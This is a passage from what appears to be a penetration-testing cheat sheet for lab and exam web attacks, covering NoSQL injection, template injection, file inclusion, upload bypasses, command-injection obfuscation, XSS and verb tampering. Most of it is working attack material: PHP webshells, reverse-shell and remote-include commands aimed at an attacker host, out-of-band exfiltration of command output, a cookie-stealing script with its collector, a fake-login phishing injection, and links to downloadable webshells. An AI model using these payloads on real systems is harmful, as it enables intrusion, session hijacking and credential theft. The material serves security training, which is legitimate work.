    971 > - A `root` DB user is usually a DBA with `FILE`; its read scope via `db.table` is normally wider than the single app DB.
    972 
    973 #### NoSQL injection (MongoDB/Express APIs)
    974 
    975 **What to look for** → Node/Express stack (`connect.sid`, `X-Powered-By: Express`), JSON API bodies, login forms on a MERN app. MongoDB queries take **objects**, so type-juggling turns `{"$gt":""}` into always-true.
    976 
    977 **Payload table**
    978 
    979 | Vector | Payload | Effect |
    980 |---|---|---|
    981 | URL-encoded | `username[$ne]=x&password[$ne]=x` | `$ne` = not-equal → matches any real user (auth bypass) |
    982 | URL-encoded | `username=admin&password[$regex]=^a` | character-by-character password extraction |
    983 | JSON body | `{"username":{"$gt":""},"password":{"$gt":""}}` | same bypass, JSON form (`Content-Type: application/json`) |
    984 | JSON body | `{"username":"admin","password":{"$regex":"^HTB{"}}` | boolean oracle per prefix (binary-search the flag/pw) |
    985 | JS injection | `' || 1==1//` | older `$where` evaluation |
    986 | Timing | `{"$where":"sleep(5000)"}` | blind confirm (rare, needs `$where` enabled) |
    987 
    988 ```bash
    989 # extract admin's password char-by-char via regex oracle
    990 for c in {a..z} {0..9}; do
    991   curl -s -X POST http://$IP/login -H 'Content-Type: application/json' \
    992     -d "{\"username\":\"admin\",\"password\":{\"\$regex\":\"^$KNOWN$c\"}}" | grep -q 'Welcome' && KNOWN="$KNOWN$c" && echo "$KNOWN"
    993 done
    994 ```
    995 
    996 > [!warning] Watch out
    997 > - The `[$ne]` syntax only works in **URL-encoded** bodies (PHP/Express `qs` parsing); for JSON APIs switch to `{"$ne":null}` objects — test both.
    998 > - Regex extraction is one request per character per position — slow but silent (single-user, no lockout). Blunt `$ne` bypass is instant but obvious in logs.
    999 > - PayloadsAllTheThings [NoSQL page](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) is the canonical payload list.
   1000 
   1001 #### SSTI — server-side template injection
   1002 
   1003 **What to look for** → reflected input inside a *template* (error pages, email templates, `?name=`, PDF/report generators). Test with `{{7*7}}` → `49` = SSTI (vs `$ {7*7}`/`<%= 7*7 %>` per engine). T1190 Exploit Public-Facing Application.
   1004 
   1005 **Detection matrix** (send `{{7*7}}` and `${7*7}`, read the result):
   1006 
   1007 | Engine / stack | Syntax probe | Result `49`? | RCE payload shape |
   1008 |---|---|---|---|
   1009 | Jinja2 (Flask/Python) | `{{7*7}}` | yes | `{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}` |
   1010 | Twig (PHP) | `{{7*7}}` | yes | `{{['id']|filter('system')}}` |
   1011 | FreeMarker (Java) | `${7*7}` / `<#assign>` | yes | `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}` |
   1012 | Thymeleaf (Spring) | `*{7*7}` / `${...}` | context | SpringEL: `${T(java.lang.Runtime).getRuntime().exec('id')}` |
   1013 | ERB (Ruby) | `<%= 7*7 %>` | yes | `<%= system('id') %>` / ``<%= `id` %>`` |
   1014 | Pug/Jade (Node) | `#{7*7}` | yes | `#{global.process.mainModule.require('child_process').execSync('id')}` |
   1015 | Velocity (Java) | `#set($x=7*7)$x` | yes | class-tool / `Runtime.exec` chains |
   1016 | Smarty (PHP) | `{$smarty.version}` | version leak | `{system('id')}` (older) / `{literal}` tricks |
   1017 
   1018 ```bash
   1019 # generic Jinja2/Twig RCE ladder (Jinja2)
   1020 {{config}}                                   # leak app config/secret keys
   1021 {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
   1022 {{''.__class__.__mro__[1].__subclasses__()}} # walk subclasses -> find subprocess.Popen index
   1023 
   1024 # tplmap — the sqlmap of SSTI (auto-detect engine, then shell)
   1025 python3 tplmap.py -u "http://$IP/page?name=test" --os-shell
   1026 python3 tplmap.py -u "http://$IP/page?name=test" -e jinja2 --reverse-shell $LHOST 4444
   1027 ```
   1028 
   1029 > [!warning] Watch out
   1030 > - `{{7*7}}` rendering as literal text ≠ safe — the engine may use `${...}` or `<%= %>`; probe all three syntaxes.
   1031 > - Sandboxed engines (Jinja2 sandbox, Smarty secure mode) need subclass-walking or gadget chains — don't expect `os.popen` to work on the first try.
   1032 > - SSTI output often lands in **emails/PDFs**, not the HTTP response — blind confirm with an OOB callback (`curl $LHOST:8000/x`) like blind XSS.
   1033 > - Cross-link the resulting shell: [05 - Foothold Toolkit - Shells Payloads and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) for upgrading to a full reverse shell.
   1034 
   1035 #### LFI depth — filter-bypass matrix → LFI2RCE → RFI transports
   1036 
   1037 **What to look for** → same `?page= ?file= ?language= ?include=` sinks the guide's wrapper block uses. This is the manual bypass ladder and the RCE chains the LFI - Cheat Sheet pointer glosses — recognise the concatenation pattern first (2 - Local File Inclusion (LFI)), then defeat the filter (3 - Basic Bypasses).
   1038 
   1039 **Enumerate — recognise the concat pattern, then beat the filter**
   1040 ```bash
   1041 # how is the param concatenated? (a verbose PHP error names the resolved path)
   1042 ?language=/etc/passwd                 # direct include()      -> absolute path works
   1043 ?language=../../../../etc/passwd      # prepended directory   -> traverse out (excess ../ is harmless)
   1044 ?language=/../../../etc/passwd        # prefix e.g. "lang_"   -> leading / turns prefix into a dir
   1045 # appended ".php" -> /etc/passwd.php (fails): use php://filter, or legacy null-byte below
   1046 
   1047 # filter-bypass matrix
   1048 ?language=....//....//....//etc/passwd                        # non-recursive str_replace('../','') -> ....// leaves ../
   1049 ?language=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd             # URL-encode; DOUBLE-encode vs a 1-pass WAF
   1050 ?language=./languages/../../../etc/passwd                     # approved-path regex only anchors the START
   1051 ?language=/etc/passwd%00        # + ~2048x "./" padding       # PHP <5.3/5.5 ONLY (dead on 7/8)
   1052 ```
   1053 
   1054 **Exploit / Attack — RCE chains beyond the guide's wrapper one-liners**
   1055 ```bash
   1056 # --- second-order LFI: poison a STORED value, trigger the sink later ---
   1057 # register username = ../../../etc/passwd , then hit /profile/<username>/avatar.png
   1058 
   1059 # --- LFI2RCE via ANY upload form (the upload itself need not be vulnerable) ---
   1060 echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif          # ASCII magic-byte polyglot
   1061 # upload as avatar, grab the stored path from page source (<img src=...>), then include it:
   1062 curl "http://$IP/index.php?language=./profile_images/shell.gif&cmd=id"
   1063 
   1064 # zip:// wrapper  (# -> %23)
   1065 echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
   1066 curl "http://$IP/index.php?language=zip://./uploads/shell.jpg%23shell.php&cmd=id"
   1067 
   1068 # phar:// wrapper (build locally with phar.readonly=0)
   1069 #   shell.php:  $p=new Phar('shell.phar'); $p->startBuffering();
   1070 #     $p->addFromString('shell.txt','<?php system($_GET["cmd"]); ?>');
   1071 #     $p->setStub('<?php __HALT_COMPILER(); ?>'); $p->stopBuffering();
   1072 php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
   1073 curl "http://$IP/index.php?language=phar://./uploads/shell.jpg/shell.txt&cmd=id"
   1074 
   1075 # --- poisoning variants beyond the guide's access.log + PHPSESSID (see 8 - Log Poisoning) ---
   1076 curl "http://$IP/index.php?language=/proc/self/environ&cmd=id"        # UA reflected here
   1077 curl "http://$IP/index.php?language=/proc/self/fd/15&cmd=id"          # fd N ~ 0-50, brute it
   1078 # nginx access log is www-data-readable (Apache's is usually root/adm); SSH/FTP/mail also poisonable:
   1079 #   log in / send mail with PHP in the username or body, then include:
   1080 #   /var/log/nginx/access.log  /var/log/sshd.log  /var/log/vsftpd.log  /var/log/mail
   1081 ```
   1082 
   1083 **RFI — the transports the guide's single HTTP host skips** (6 - Remote File Inclusion (RFI))
   1084 ```bash
   1085 # 0) VERIFY rfi with a LOOPBACK include first (allow_url_include=On is necessary, not sufficient)
   1086 ?language=http://127.0.0.1:80/index.php     # renders+executes = RFI viable; NEVER target the vuln page (DoS loop)
   1087 
   1088 echo '<?php system($_GET["cmd"]); ?>' > shell.php
   1089 sudo python3 -m http.server 80                                               # HTTP (80/443 = most-whitelisted egress)
   1090 curl "http://$IP/index.php?language=http://$LHOST/shell.php&cmd=id"
   1091 
   1092 sudo python3 -m pyftpdlib -p 21                                              # FTP: when the literal http:// string is WAF'd
   1093 curl "http://$IP/index.php?language=ftp://$LHOST/shell.php&cmd=id"
   1094 
   1095 impacket-smbserver -smb2support share $(pwd)                                 # SMB: Windows target -> UNC path skips allow_url_include
   1096 curl "http://$IP/index.php?language=\\\\$LHOST\\share\\shell.php&cmd=whoami"
   1097 ```
   1098 
   1099 **PHP wrapper quick-reference**
   1100 
   1101 | Wrapper | Needs | Use |
   1102 |---|---|---|
   1103 | `php://filter/convert.base64-encode/resource=X` | nothing | read PHP **source** (b64 it so it isn't executed) |
   1104 | `php://input` | `allow_url_include` | POST raw PHP as the request body |
   1105 | `data://text/plain;base64,...` | `allow_url_include` | inline payload, no external host |
   1106 | `expect://cmd` | `expect` ext (rare) | direct command exec |
   1107 | `zip://shell.zip%23shell.php` | uploaded zip | execute a PHP file inside an uploaded archive |
   1108 | `phar://shell.jpg/shell.txt` | uploaded phar-polyglot | same trick, phar metadata also triggers unserialize |
   1109 | `file:///etc/passwd` / bare path | nothing | plain read / traversal baseline |
   1110 
   1111 **Filter-chain RCE** — when you have LFI on a modern PHP (7/8) with no upload, no logs, no `allow_url_include`: [php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) builds a `php://filter` chain of `convert.iconv.*` transforms that *generates* arbitrary PHP code from the included file itself, giving RCE from a pure read primitive:
   1112 
   1113 ```bash
   1114 python3 php_filter_chain_generator.py --chain '<?php system($_GET["0"]);?>'
   1115 # paste the emitted chain as the include param, then &0=id
   1116 ```
   1117 
   1118 > [!warning] Watch out
   1119 > - Null-byte / path-truncation are PHP <5.3/5.5 **only** — dead on any live target, keep them purely for legacy recognition.
   1120 > - Don't filter `301/302/403` when fuzzing files under an LFI: filesystem read ≠ HTTP navigation, those pages are still readable through the include.
   1121 > - RFI ⊂ LFI: every RFI is an LFI, not every LFI is RFI-capable — prove it with the loopback include, don't infer it from `allow_url_include` alone.
   1122 > - Session/log poisoning is noisy and forensic by design — prefer wrapper or upload RCE. Each poisoned-session command needs re-poisoning first (the inclusion request overwrites the `page` field on the next write).
   1123 
   1124 #### File-upload bypass matrix — extension · Content-Type · magic bytes · double-ext
   1125 
   1126 **What to look for** → any upload (avatar, doc import, CSV). Peel the filters layer by layer — extension → `Content-Type` header → magic bytes — then check the filename itself and the "safe type" surface. Full ladder in 2 - Client-Side Validation → 7 - Other Upload Attacks.
   1127 
   1128 **Enumerate — find which layer validates and what it accepts**
   1129 ```bash
   1130 # client-side only? intercept in Burp & swap filename/body, or delete the onchange handler in DevTools
   1131 #   -> back-end then sees the raw POST with no JS in the way
   1132 # blacklist vs whitelist: Intruder-fuzz the extension, sort by response Length (one uniform length = accepted set)
   1133 ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ \
   1134   -u http://$IP/upload.php -X POST -F "uploadFile=@shell.FUZZ;type=image/png"
   1135 # content-type layer: fuzz just the FILE-PART header with the image subset
   1136 grep 'image/' /usr/share/seclists/Miscellaneous/Web/content-type.txt > image-ct.txt
   1137 ```
   1138 
   1139 **Exploit / Attack — the bypass matrix**
   1140 ```bash
   1141 # EXTENSION blacklist -> alternate PHP-executable exts (server-handler dependent)
   1142 shell.phtml  shell.php3  shell.php4  shell.php5  shell.pht    pHp   # mixed-case beats a lowercase-only list
   1143 
   1144 # WHITELIST (regex) bypass
   1145 shell.jpg.php        # double-ext: unanchored ^.*\.(jpg|png)$ (missing $) matches .jpg, file saved as .php
   1146 shell.php.jpg        # reverse double-ext: abuses Apache <FilesMatch ".+\.ph(ar|p|tml)"> with no trailing $
   1147 # char-injection generator (legacy/Windows: %00 truncation, ':' = NTFS ADS e.g. shell.aspx:.jpg)
   1148 for c in %20 %0a %00 / .\\ . : ; do for e in .php .phps; do \
   1149   printf 'shell%s%s.jpg\nshell%s%s.jpg\nshell.jpg%s%s\n' "$c" "$e" "$e" "$c" "$c" "$e"; done; done > upx.txt
   1150 
   1151 # CONTENT-TYPE header spoof: keep filename="shell.php", body=PHP, set the file part's header:
   1152 #   Content-Type: image/jpg
   1153 # MAGIC-BYTE (signature) check -> prepend GIF8
   1154 printf 'GIF8\n<?php system($_REQUEST["cmd"]); ?>' > shell.php     # `file shell.php` now reports GIF image data
   1155 # layered filter -> combine ext + content-type + magic bytes, fuzz the permutation
   1156 
   1157 # --- "secure" upload still carries surface without any code-exec (6 - Limited File Uploads) ---
   1158 # SVG stored XSS (browser renders SVG but parses its XML):
   1159 #   <svg xmlns="http://www.w3.org/2000/svg"><script>alert(window.origin)</script></svg>   upload as .svg
   1160 # SVG/XML XXE -> local file read + source disclosure (PDF/DOCX/PPTX embed XML too):
   1161 #   <!DOCTYPE svg [<!ENTITY x SYSTEM "file:///etc/passwd">]><svg>&x;</svg>
   1162 #   <!DOCTYPE svg [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><svg>&x;</svg>
   1163 exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg     # XSS via a displayed EXIF field
   1164 # filename as its own injection vector (back-end shells out / builds SQL / reflects it):
   1165 file$(whoami).jpg     file.jpg||whoami     "<script>alert(1)</script>.jpg"     "x';select sleep(5);--.jpg"
   1166 # leak the uploads path: duplicate name / parallel identical uploads / ~5000-char filename -> disclosing error
   1167 # Windows: reserved names CON COM1 LPT1 NUL ; 8.3 short-name overwrite  WEB~1.CONF -> web.config
   1168 ```
   1169 
   1170 > [!warning] Watch out
   1171 > - Bypassing the blacklist ≠ execution: a fuzzed-allowed extension only fires if the web server's handler hands it to the PHP interpreter — always test the real upload; `.phtml` is the usual winner.
   1172 > - The unanchored regex (missing `$`) is THE whitelist bug — try `shell.jpg.php` first; if it's properly anchored, drop to the Apache `FilesMatch` layer with `shell.php.jpg`.
   1173 > - `Content-Type` is browser-set, exactly as trustworthy as the filename; the magic-byte check only reads the first bytes, so `GIF8` alone spoofs it (a cosmetic `GIF8` line prints before your output).
   1174 > - SVG is XML rendered as an image — it carries the full XSS **and** XXE surface even on an "images-only" form, and XXE source-disclosure frequently hands you the exact filter/naming logic to beat everywhere else.
   1175 
   1176 **Executable extensions per server** — fuzz *these*, not a random list:
   1177 
   1178 | Server | Extensions to try | Config abuse |
   1179 |---|---|---|
   1180 | Apache + PHP | `.php .phtml .php3 .php4 .php5 .php7 .pht .phar .pHp` | upload `.htaccess`: `AddType application/x-httpd-php .jpg` → any `.jpg` executes as PHP |
   1181 | IIS (classic) | `.asp .aspx .ashx .asmx .cer .asa` | upload `web.config` → run arbitrary command/ASPX (see below) |
   1182 | IIS (ASP.NET) | `.aspx .ashx .asmx .ascx .cshtml` | `web.config` handler mapping; `.ashx` = generic handler, often forgotten |
   1183 | Tomcat/Java | `.jsp .jspx .jsw .jsv .war` | WAR deploy if /manager reachable |
   1184 | nginx | server config decides (`.php` via php-fpm) | nginx misconfig: `/shell.jpg/x.php` path-info trick passes to php-fpm |
   1185 | Node/Express | no server-side exec by extension | aim for stored XSS / proto-pollution instead |
   1186 
   1187 ```xml
   1188 <!-- web.config upload → ASPX code exec on IIS (save as web.config in an uploadable dir) -->
   1189 <?xml version="1.0" encoding="UTF-8"?>
   1190 <configuration><system.webServer><handlers accessPolicy="Read, Script, Write">
   1191 <add name="shell" path="*.jpg" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64"/>
   1192 </handlers></system.webServer></configuration>
   1193 <!-- now a classic-ASP shell uploaded as .jpg executes -->
   1194 ```
   1195 
   1196 **Path truncation / injection**: `.php%00.jpg` (PHP<5.3 only), `.php/`, `.php.` (Windows strips trailing dot), `. php`, `::$DATA` (NTFS default stream), `shell.asp;.jpg` (IIS 6 semicolon parsing).
   1197 
   1198 #### Webshell staging — pick the shell for the server
   1199 
   1200 > [!tools] Staged webshells (drop into the upload, then request it)
   1201 > PHP targets (Apache/nginx+php-fpm, WordPress theme editor, LFI2RCE):
   1202 >
   1203 > [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc))
   1204 >
   1205 > Classic ASP / legacy IIS (`.asp`, `.cer`, `asp.dll` handlers):
   1206 >
   1207 > [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.asp.sha256.asc))
   1208 >
   1209 > Tomcat / any JSP container (also the payload inside a WAR — see Tomcat → /manager WAR deploy (msfvenom war)):
   1210 >
   1211 > [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.jsp.sha256.asc))
   1212 >
   1213 > IIS + ASP.NET (`aspx` handler, Windows boxes — pairs with the web.config trick above):
   1214 >
   1215 > [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc))
   1216 
   1217 **Selection guidance**: match the shell to the *executing* handler, not the OS — an IIS box with PHP installed runs `rp-shell.php`; a Linux Tomcat runs `rp-shell.jsp`. Confirm execution context with a harmless probe first (`whoami`/`id`, `phpinfo()`), and note the shell runs as the **web service account** (`www-data`, `NT AUTHORITY\IUSR`/`iis apppool\defaultapppool`, `tomcat`) — privesc is [12 - Stage 09 - Privilege Escalation](/sheets/pentest-workflow/privilege-escalation)'s job.
   1218 
   1219 > [!warning] OPSEC — webshells are tripwires
   1220 > A dropped `.php`/`.aspx` in the webroot is the single most-searched IOC (EDR web-shell signatures, file-integrity monitoring, `access.log` requests to a non-linked path). Mitigate: random filename (not `shell.php`), non-obvious param name (md5, not `cmd`), password-gate the shell, and **delete it when done**. On the CPTS exam it doesn't matter; on a real engagement it's the difference between a finding and an incident. Full tradecraft: [05 - Foothold Toolkit - Shells Payloads and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit).
   1221 
   1222 #### Command-injection matrix — operators · char reconstruction · obfuscation
   1223 
   1224 **What to look for** → the guide already lists the shell-out sinks and the `${IFS}` / `{brace}` / `$PATH`-slice / quote-split / socat payloads. This is the matrix *behind* them: the full operator set, how to fingerprint the filter, how to build a blocked character without sending it, and the WAF-grade obfuscation ladder. Modules: 2 - Detecting Command Injection Vulnerabilities → 7 - Advanced Command Obfuscation, 8 - Evasion Tools.
   1225 
   1226 **Enumerate — operator set + fingerprint the filter** (3 - Identifying Filters)
   1227 ```bash
   1228 # operators (URL-encoded), all OS/lang unless noted:
   1229 #   ; %3b   \n %0a   & %26   | %7c   && %26%26   || %7c%7c   `cmd` %60   $(cmd) %24%28%29
   1230 #   caveat: ';' does NOT chain under Windows cmd.exe (it does under PowerShell)
   1231 curl "http://$IP/ping.php?ip=127.0.0.1%0a whoami"     # %0a first: hardest to blacklist cleanly
   1232 curl "http://$IP/ping.php?ip=|| whoami"               # break cmd1 so ONLY cmd2 output returns (clean)
   1233 # fingerprint: inline app error = PHP filter;  a separate branded block page w/ your IP = external WAF
   1234 # reduce to one token to find the banned char:  ...ip=127.0.0.1;  still blocked => ';' banned -> pivot to %0a
   1235 ```
   1236 
   1237 **Exploit / Attack — reconstruct blocked characters, then obfuscate the command**
   1238 
   1239 **Bash and other POSIX shells**
   1240 
   1241 ```bash
   1242 # Space bypasses (4 - Bypassing Space Filters)
   1243 127.0.0.1%0a%09whoami
   1244 127.0.0.1%0a$IFS$9whoami
   1245 
   1246 # Reconstruct blocked characters from environment variables (5 - Bypassing Other Blacklisted Characters)
   1247 ${LS_COLORS:10:1}   # ';'
   1248 ${PATH:0:1}         # '/'
   1249 
   1250 # Derive '\' by shifting the preceding ASCII character.
   1251 echo $(tr '!-}' '"-~' <<< [)
   1252 
   1253 # Split a blacklisted command with shell-ignored characters (6 - Bypassing Blacklisted Commands)
   1254 w'h'o'am'i
   1255 w"h"o"am"i
   1256 who$@ami
   1257 w\ho\am\i
   1258 
   1259 # Whole-command transforms (7 - Advanced Command Obfuscation)
   1260 $(tr "[A-Z]" "[a-z]" <<< "WhOaMi")
   1261 $(rev <<< 'imaohw')
   1262 bash <<< $(base64 -d <<< Y2F0IC9ldGMvcGFzc3dk)
   1263 ```
   1264 
   1265 **Windows Command Prompt**
   1266 
   1267 ```batch
   1268 :: Reconstruct '\' from HOMEPATH, split a command with quotes, or escape with ^.
   1269 %HOMEPATH:~6,-11%
   1270 w"h"o"am"i
   1271 who^ami
   1272 ```
   1273 
   1274 **PowerShell**
   1275 
   1276 ```powershell
   1277 # Strings are character arrays, so this returns a backslash on a normal profile path.
   1278 $env:HOMEPATH[0]
   1279 
   1280 # Reverse a command or decode a UTF-16LE Base64 command.
   1281 iex "$('imaohw'[-1..-20] -join '')"
   1282 iex "$([Text.Encoding]::Unicode.GetString(
   1283   [Convert]::FromBase64String('dwBoAG8AYQBtAGkA')
   1284 ))"
   1285 
   1286 # Interactive DOSfuscation workflow.
   1287 Import-Module .\Invoke-DOSfuscation.psd1
   1288 Invoke-DOSfuscation
   1289 ```
   1290 
   1291 **Build PowerShell Base64 from Linux**
   1292 
   1293 ```bash
   1294 echo -n whoami | iconv -f utf-8 -t utf-16le | base64
   1295 ```
   1296 
   1297 **Automate Bash obfuscation**
   1298 
   1299 ```bash
   1300 ./bashfuscator \
   1301   -c 'cat /etc/passwd' \
   1302   -s 1 \
   1303   -t 1 \
   1304   --no-mangling \
   1305   --layers 1
   1306 ```
   1307 
   1308 > [!warning] Watch out
   1309 > - Filters compose → bypasses compose: one request often stacks operator (`%0a`) + space (`${IFS}`/`%09`) + name-split (`w'h'o'am'i`) + char-slice all at once. After any obfuscation, re-scan the *wrapper* for a character that is itself still filtered (usually the space).
   1310 > - `||` after a deliberately-broken first command gives the cleanest response (only cmd2's output); `;`/`&&` prepend the original command's output.
   1311 > - `%0a` (newline) beats operator blacklists most often — devs can't safely ban it — so try it before anything fancier.
   1312 > - Bashfuscator's random default can exceed a POST field's size cap — always tune `-s/-t/--no-mangling/--layers`; a hand-rolled combo beats a copy-pasted one (public obfuscation patterns are WAF-signatured).
   1313 
   1314 **Blind & OOB command injection** — no output in the response? Confirm with **time** (`;sleep 5`, `%0aping -n 6 127.0.0.1` on Windows) or **out-of-band**; automate detection with [commix](https://github.com/commixproject/commix) when manual probing drags:
   1315 
   1316 ```bash
   1317 # OOB confirm — any callback at all proves exec
   1318 curl "http://$IP/ping.php?ip=127.0.0.1%0acurl${IFS}http://$LHOST:8000/oob"
   1319 # OOB data exfil through the callback path
   1320 curl "http://$IP/ping.php?ip=127.0.0.1%0acurl${IFS}http://$LHOST:8000/$(id|base64|tr+/=__)"   # demo shape
   1321 # DNS-only egress:  ping `whoami`.abc123.oast.pro   (interactsh / Burp Collaborator catches it)
   1322 
   1323 # commix — automate detection + exploitation when manual probing drags
   1324 python3 commix.py -u "http://$IP/ping.php?ip=127.0.0.1" --batch
   1325 python3 commix.py -r request.txt --level 3 --technique=t   # time-based only, quieter
   1326 ```
   1327 
   1328 > [!warning] OPSEC — command injection is loud and forensic
   1329 > Every probe lands in the web log *with* the payload in cleartext; `curl`/DNS OOB callbacks leave egress log entries. Prefer a single reverse-shell request (see [05 - Foothold Toolkit - Shells Payloads and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit)) over 50 echoed commands, and clean up any files you drop.
   1330 
   1331 ### 🎯 XSS, HTTP Verb Tampering, IDOR & XXE
   1332 
   1333 The `### XSS` block above covers find + context-matched payloads. This one carries the payloads through to impact, then adds the three Web-Attacks staples the guide is missing. Deep dives: 5 - XSS Discovery · 8 - Session Hijacking · 7 - Phishing · 1 - Intro to HTTP Verb Tampering · 6 - Identifying IDORs · 10 - Chaining IDOR Vulnerabilities · 13 - Local File Disclosure · 15 - Blind Data Exfiltration · Dalfox - HTB and AEN Cheat Sheet.
   1334 
   1335 #### XSS — classify → discover → weaponise
   1336 
   1337 **What to look for** → I already have a firing marker (see above). Now pin the *type* (fixes delivery) and turn it into cookie theft / creds. Persistence test: does it survive a refresh with no resubmit? Stored. Only in the one echoed response? Reflected. Never in `Ctrl+U` source, `#fragment` in the URL with no Network request? DOM.
   1338 
   1339 **Enumerate (classify + automate discovery)**
   1340 ```bash
   1341 # DOM tell: fragment never hits the server -> confirm type before wasting server-side payloads
   1342 # reflected -> shareable URL-encoded link; stored -> fires for every visitor on refresh
   1343 
   1344 # automate parameter discovery/context when the manual sweep doesn't scale
   1345 python3 xsstrike.py -u "http://$IP/index.php?task=test"   # Confidence 10 / Efficiency 100 ~= confirmed
   1346 dalfox url "http://$IP/index.php?task=test"               # mining + DOM + blind in one Go binary
   1347 ```
   1348 ([XSStrike](https://github.com/s0md3v/XSStrike) is Python 2/3 legacy but its context analysis output is still useful for reading sink types.)
   1349 ```html
   1350 <!-- innerHTML sink STRIPS literal <script> — DOM XSS needs an event handler instead -->
   1351 <img src="" onerror=alert(window.origin)>
   1352 <svg onload=alert(window.origin)>
   1353 <!-- alert() blocked? confirmation fallbacks -->
   1354 <plaintext>        <!-- halts HTML rendering, dumps raw -->
   1355 <script>print()</script>
   1356 ```
   1357 
   1358 **Exploit / Attack — cookie theft → session hijack**
   1359 ```bash
   1360 # 1. host the stealer + collector on tun0. sudo php -S 0.0.0.0:80 so the HTB browser (VPN iface) reaches it
   1361 echo "new Image().src='http://$LHOST/index.php?c='+document.cookie;" > script.js
   1362 ```
   1363 ```php
   1364 // index.php — splits multi-cookie strings, logs source IP (handles many victims over time)
   1365 <?php if (isset($_GET['c'])) { foreach (explode(";", $_GET['c']) as $v) {
   1366   $c=urldecode($v); $f=fopen("cookies.txt","a+");
   1367   fputs($f,"IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$c}\n"); fclose($f);
   1368 } } ?>
   1369 ```
   1370 ```html
   1371 <!-- 2. deliver into the stored/reflected sink — new Image() is silent (no nav-away, unlike document.location) -->
   1372 <script src=http://$LHOST/script.js></script>
   1373 ```
   1374 ```bash
   1375 # 3. replay: Firefox DevTools Storage (Shift+F9) -> add cookie name/value from cookies.txt -> refresh = authed as victim
   1376 ```
   1377 
   1378 **Exploit / Attack — blind XSS field ID + phishing**
   1379 ```html
   1380 <!-- BLIND: name the callback after each field so a listener hit tells you WHICH field fired -->
   1381 <script src=http://$LHOST/fullname></script>
   1382 <script src=http://$LHOST/username></script>
   1383 '><script src=http://$LHOST></script>          <!-- attribute-breakout variants -->
   1384 "><script src=http://$LHOST></script>
   1385 ```
   1386 ```html
   1387 <!-- PHISHING: overwrite the page with a fake login, strip the original element, comment out the rest -->
   1388 <script>document.write('<h3>Please login to continue</h3><form action=http://$LHOST><input name=username placeholder=Username><input type=password name=password placeholder=Password><input type=submit value=Login></form>');document.getElementById('urlform').remove();</script><!--
   1389 ```
   1390 Collector logs creds then `header("Location: http://$IP/...")` 302s the victim back so the login "just works" — a bare `nc -lvnp 80` proves capture but errors the browser (suspicious).
   1391 
   1392 > [!warning] Watch out
   1393 > - `document.cookie` is empty under **HttpOnly** — kills the steal, does *not* disprove XSS. Blind XSS on an admin panel you can't see is the common HTB shape: the `<script src=…/fieldname>` naming trick is the only signal you get.
   1394 > - Match the payload to the *observed* parser (see the context table above) — a short context-correct payload beats a giant list. `<script>` fails in an `innerHTML` sink; use `<img onerror>`/`<svg onload>`.
   1395 > - HTTP collector against an HTTPS target = mixed-content blocked. Scanner "reflected" ≠ "executed" — always confirm in a real browser.
   1396 
   1397 #### HTTP Verb Tampering (auth bypass + method-based filter bypass)
   1398 
   1399 **What to look for** → an action behind Basic Auth (`/admin`, a Reset/Delete button → 401), or a filter that blocks a payload. Both bugs = the check only covers GET/POST while the server/sink honours other verbs. Two root causes: server config scoped to `<Limit GET POST>`, or code validating `$_POST` but a sink reading `$_REQUEST`.
   1400 
   1401 **Enumerate**
   1402 ```bash
   1403 curl -i -X OPTIONS http://$IP/            # the Allow: header is free recon — HEAD present = try it
   1404 # Allow: POST,OPTIONS,HEAD,GET
   1405 curl -i -X HEAD "http://$IP/admin/reset.php"   # HEAD = GET with no body, same handler runs
   1406 ```
   1407 
   1408 **Exploit / Attack**
   1409 ```bash
   1410 # 1. AUTH BYPASS — GET/POST both 401, HEAD falls outside <Limit GET POST> and executes with NO challenge
   1411 curl -i -X HEAD "http://$IP/admin/reset.php"        # 200, empty body, privileged action ran
   1412 
   1413 # 2. FILTER BYPASS — preg_match checks $_POST, system() reads $_REQUEST -> move payload to GET
   1414 curl -s -X POST -d "filename=test;" http://$IP/create.php        # "Malicious Request Denied!"
   1415 curl -s "http://$IP/create.php?filename=file1;%20touch%20file2;" # $_POST empty (passes), $_REQUEST carries it -> RCE
   1416 ```
   1417 Burp is faster than curl here: right-click intercepted request → **Change Request Method** to cycle verbs; **Intruder** with a verb wordlist (`GET POST HEAD PUT DELETE PATCH OPTIONS TRACE CONNECT`) to sweep many endpoints.
   1418 
   1419 > [!warning] Watch out
   1420 > - HEAD returns an **empty body** — no visible confirmation. Verify the side effect (files gone, `file2` created), not the response.
   1421 > - A filter is only as strong as its *narrowest* superglobal: if validation reads `$_GET`/`$_POST` but the sink reads `$_REQUEST`, flipping the verb slips every payload past it. Test a known-blocked payload across every accepted verb.
   1422 > - HEAD is enabled by default on most Apache/nginx and rarely tested by scanners against auth logic — check it on every protected endpoint.
   1423 
